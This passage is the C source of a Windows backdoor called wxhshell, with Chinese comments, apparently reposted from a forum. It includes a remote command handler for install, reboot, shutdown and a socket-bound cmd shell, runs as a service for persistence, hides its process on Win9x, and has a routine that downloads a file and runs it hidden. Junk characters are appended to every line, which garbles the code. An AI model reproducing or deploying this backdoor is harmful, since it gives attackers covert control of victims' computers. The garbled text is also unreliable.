  0s/w,?  
  // 帮助 |C!oxhu<  
  case '?': { ^G4 P y<s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y9x w 9l'  
    break; `8AR_7i  
  } hp#W 9@NR  
  // 安装 8n'B6hi  
  case 'i': { 7J EbH?lEN  
    if(Install()) wgamshm"d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;$smH=I  
    else d8[J@M53|T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L1cI`9  
    break; Z Uox Mm  
    } AS =?@2 q  
  // 卸载 8,C*4y~  
  case 'r': { jN[`L%Qm   
    if(Uninstall()) <eQj`HL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {so `/EWa  
    else [H6hyG~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a0D%k:k5  
    break; D|e uX7b  
    } k@/sn (x  
  // 显示 wxhshell 所在路径 fh](K'P#^  
  case 'p': { p-Kz-+A[  
    char svExeFile[MAX_PATH]; / c AUl  
    strcpy(svExeFile,"\n\r"); DNr@u/>vB  
      strcat(svExeFile,ExeFile); wB!Nc Y\p  
        send(wsh,svExeFile,strlen(svExeFile),0); WU71/PYm`  
    break; 1JztFix  
    } aX5 z&r:{  
  // 重启 5]AC*2(  
  case 'b': { #vti+A~n,4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :_g$.h%%  
    if(Boot(REBOOT)) 4lKq{X5<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?QFpv #4  
    else { wVEm:/;z&  
    closesocket(wsh); AaWs}M  
    ExitThread(0); xx#zN0I>-y  
    } 3HcQ(+Z  
    break; VXR>]HUF  
    } <Bw^!.jAF  
  // 关机 3E!|<q$ z  
  case 'd': { 45,1-? -!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >`A9[`$n  
    if(Boot(SHUTDOWN)) OmIg<v 0\;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DXJ`oh  
    else { ll`>FcQ  
    closesocket(wsh); TU:7Df  
    ExitThread(0); ^(f"v e#7v  
    } " @v <Bk  
    break; @d mV  
    } 0w&27wW  
  // 获取shell 8,? h~prc  
  case 's': { e\!0<d  
    CmdShell(wsh); B?'#4J  
    closesocket(wsh); tt0f-:#  
    ExitThread(0); j g8fU  
    break; , udTvI  
  } ABD)}n=%c  
  // 退出 Wu[&Wv~  
  case 'x': { =a@j=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  %oZ6l*  
    CloseIt(wsh); 4 QvsBpz@  
    break; C71qPb|$R  
    } gW)3e1a  
  // 离开 l49*<nkmq  
  case 'q': { gMWjk7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GO` Ru 8  
    closesocket(wsh); 4dO~C  
    WSACleanup(); IC1NKn<k  
    exit(1); F'4w;-ax  
    break; 0 q} *S~  
        } ow_W%I=6  
  } ?[g=F <r  
  } mH%yGBp_  
5,_u/5Y4  
  // 提示信息 1.D,W1s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WD]p U  
} :.Jf0  
  } ADDSCY=,  
_+K_5IO4  
  return; \;qW 3~  
} 2R;}y7{  
wO'T BP  
// shell模块句柄 9N@W\DT  
int CmdShell(SOCKET sock) >O*IQ[r-  
{ 8$6Y{$&C  
STARTUPINFO si; VH9dleZ  
ZeroMemory(&si,sizeof(si)); ^@3sT,M,S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 95 ;x=ju  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _jLL_GD  
PROCESS_INFORMATION ProcessInfo; t&H?\)!4  
char cmdline[]="cmd"; ,l !Ta "  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,]46I.]  
  return 0; =Je[c,&j$?  
} ';3{T:I  
g)#W>.Asd  
// 自身启动模式 DJ'zz&K  
int StartFromService(void) 06O2:5zF  
{ &dM. d!  
typedef struct <0b)YJb4M  
{ (s.0P O`  
  DWORD ExitStatus; ,?>s>bHV  
  DWORD PebBaseAddress; ~Sj9GxTe  
  DWORD AffinityMask; NW]Lj >0Y  
  DWORD BasePriority; KN<S}3MN  
  ULONG UniqueProcessId; 7gf05Z'=  
  ULONG InheritedFromUniqueProcessId; 7HIeJ  
}   PROCESS_BASIC_INFORMATION; RL!Oi|8  
5gYRwuf  
PROCNTQSIP NtQueryInformationProcess; ?}wk.gt>  
]V^iN=(_5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RRmz"j>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rDm~h~u5  
IpYM;tYw&  
  HANDLE             hProcess; pMw*9s X  
  PROCESS_BASIC_INFORMATION pbi; IwQ"eUnK  
eD,.~Y#?=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  _zY# U9  
  if(NULL == hInst ) return 0; _K]_ @Ivh  
|2O]R s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 24 [+pu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f(/lLgI(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6 Q%jA7  
8I lunJ  
  if (!NtQueryInformationProcess) return 0; SIBtmm1W  
 7''??X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A,JmX  
  if(!hProcess) return 0; ns9U/ :L  
/rK}?U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (?n=33}Ci  
8EW_V$>R  
  CloseHandle(hProcess); f.D?sHAn  
MqW7cjg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :flx6,7D  
if(hProcess==NULL) return 0; @i 2E\}  
BF\XEm?!  
HMODULE hMod; )(bW#-  
char procName[255]; h;p>o75O  
unsigned long cbNeeded; <c2E'U)X  
MI/MhkS ?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 94h]~GqNi  
&v56#lG  
  CloseHandle(hProcess); [4YTDEv%  
z>LUH  
if(strstr(procName,"services")) return 1; // 以服务启动 Si_ _8D  
^yWL,$  
  return 0; // 注册表启动 h}[-'>{  
} e%svrJ2   
eWCb73  
// 主模块 fT;s-v[`k  
int StartWxhshell(LPSTR lpCmdLine) nEJq_  
{ L{X_^  
  SOCKET wsl; ^]H5h]U '  
BOOL val=TRUE; f86XkECZ;`  
  int port=0; |?!~{-o  
  struct sockaddr_in door; "Lzi+1  
^H~h\,;zQ  
  if(wscfg.ws_autoins) Install(); p*< 0"0  
ASKf '\,dV  
port=atoi(lpCmdLine); `.E[}W  
K*%9)hq  
if(port<=0) port=wscfg.ws_port; PY{ G [  
WA5&# kg\  
  WSADATA data; /NLui@|R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h{CL{>d  
=#;3Q~:Jl^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \K5DOM "#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nL5cK:  
  door.sin_family = AF_INET; C uFSeRe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DVG(V w  
  door.sin_port = htons(port); N:S/SZI  
| z9*GY6RU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZGBd%RWjG_  
closesocket(wsl); /kE6@  
return 1; %aHB"vi6  
} 2y//'3[  
xe]y]  
  if(listen(wsl,2) == INVALID_SOCKET) { B;M?,<%FRU  
closesocket(wsl); rA3$3GLQ-  
return 1; Jb0`42  
} tRs [ YK  
  Wxhshell(wsl); p)jk>j B  
  WSACleanup(); TITKj?*o  
|9uOUE  
return 0; 0@[$lv;OS  
8*W#DH!  
} .I7pA5V{#  
*T- <|zQ  
// 以NT服务方式启动 {o)Lc6T8s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qz+dmef  
{ H['N  
DWORD   status = 0; Vy6qbC-Kt  
  DWORD   specificError = 0xfffffff; n&L+wqJ  
4;w;'3zq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sQ=]NF)\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hB "fhX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tWJZoD6}h  
  serviceStatus.dwWin32ExitCode     = 0; 44gPCW,u  
  serviceStatus.dwServiceSpecificExitCode = 0; !`k1:@NZ  
  serviceStatus.dwCheckPoint       = 0; -C;^ 3R[ O  
  serviceStatus.dwWaitHint       = 0; m!gz3u]rN  
wVX[)E\J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :{PJI,  
  if (hServiceStatusHandle==0) return; r(6Y*<  
GOj-)i/_  
status = GetLastError(); ot,jp|N>f~  
  if (status!=NO_ERROR) QCD .YFM  
{ EOIN^4V"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cbNTj$'b2u  
    serviceStatus.dwCheckPoint       = 0; Z 6t56"u  
    serviceStatus.dwWaitHint       = 0; "fQ~uzg="  
    serviceStatus.dwWin32ExitCode     = status; Pnk5mK$  
    serviceStatus.dwServiceSpecificExitCode = specificError; yg `j-9[8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {}>0e:51  
    return; f~t:L, \,  
  } ^?-:'<4q$  
Ye\rB\-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S{Kiy#ltWc  
  serviceStatus.dwCheckPoint       = 0; 61Bwb]\f/|  
  serviceStatus.dwWaitHint       = 0; }d[ kxo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bbtGXfI+SB  
} 18)'c?^.  
3]OE}[R  
// 处理NT服务事件,比如:启动、停止 Bgn&:T8<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BTl k Etm  
{ NiNM{[3oS  
switch(fdwControl) p?{Xu4(  
{ ED2a}Tt>Z  
case SERVICE_CONTROL_STOP: h2)yq:87  
  serviceStatus.dwWin32ExitCode = 0; e h&IPU S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !SC`D])l  
  serviceStatus.dwCheckPoint   = 0; bo,_&4?  
  serviceStatus.dwWaitHint     = 0; szb_*)k  
  { i#&z2h-b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >] qc-{>&  
  } &)YQvTzs  
  return; ^Xuvy{TkPH  
case SERVICE_CONTROL_PAUSE: ^7>3a/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [8.c8-lZ^  
  break; fsmN)_T  
case SERVICE_CONTROL_CONTINUE: XpIklL7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Km%]1X7T6  
  break; P!~MZ+7#&  
case SERVICE_CONTROL_INTERROGATE: GSY(  
  break; QEm|])V  
}; d)"3K6s|5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Q9qq~  
} KLU-DCb%  
 jPC[_g  
// 标准应用程序主函数 Ot$-!Y;<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >L|;|X!m9\  
{ @+;$jRwq  
@v$Y7mw3D  
// 获取操作系统版本 bo<~jb{  
OsIsNt=GetOsVer(); ?RX3MUN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #c!*</  
b[__1E9v'  
  // 从命令行安装 %&$Tz1"  
  if(strpbrk(lpCmdLine,"iI")) Install(); !5wIIS:FT  
' WMh8)  
  // 下载执行文件 yID 164&r  
if(wscfg.ws_downexe) { 1da@3xaF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3ovWwZ8&  
  WinExec(wscfg.ws_filenam,SW_HIDE); ];}Wfl  
} Q;MT"=RW  
t$ +?6E  
if(!OsIsNt) { @M<|:Z %.@  
// 如果时win9x,隐藏进程并且设置为注册表启动 \Lq h j  
HideProc(); Y}@&h!  
StartWxhshell(lpCmdLine); g(nPQOs$u  
} 9Q -HeXvR  
else :fKl]XO  
  if(StartFromService()) IWBX'|}K  
  // 以服务方式启动 > pgX^  
  StartServiceCtrlDispatcher(DispatchTable); jy7\+i  
else MtM%{=&_  
  // 普通方式启动 r~[Ia!U?  
  StartWxhshell(lpCmdLine); -Bt k 3  
2;xIL]  
return 0; fTzvmC:g7  
}
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只看该作者 1 发表于: 2006-10-10
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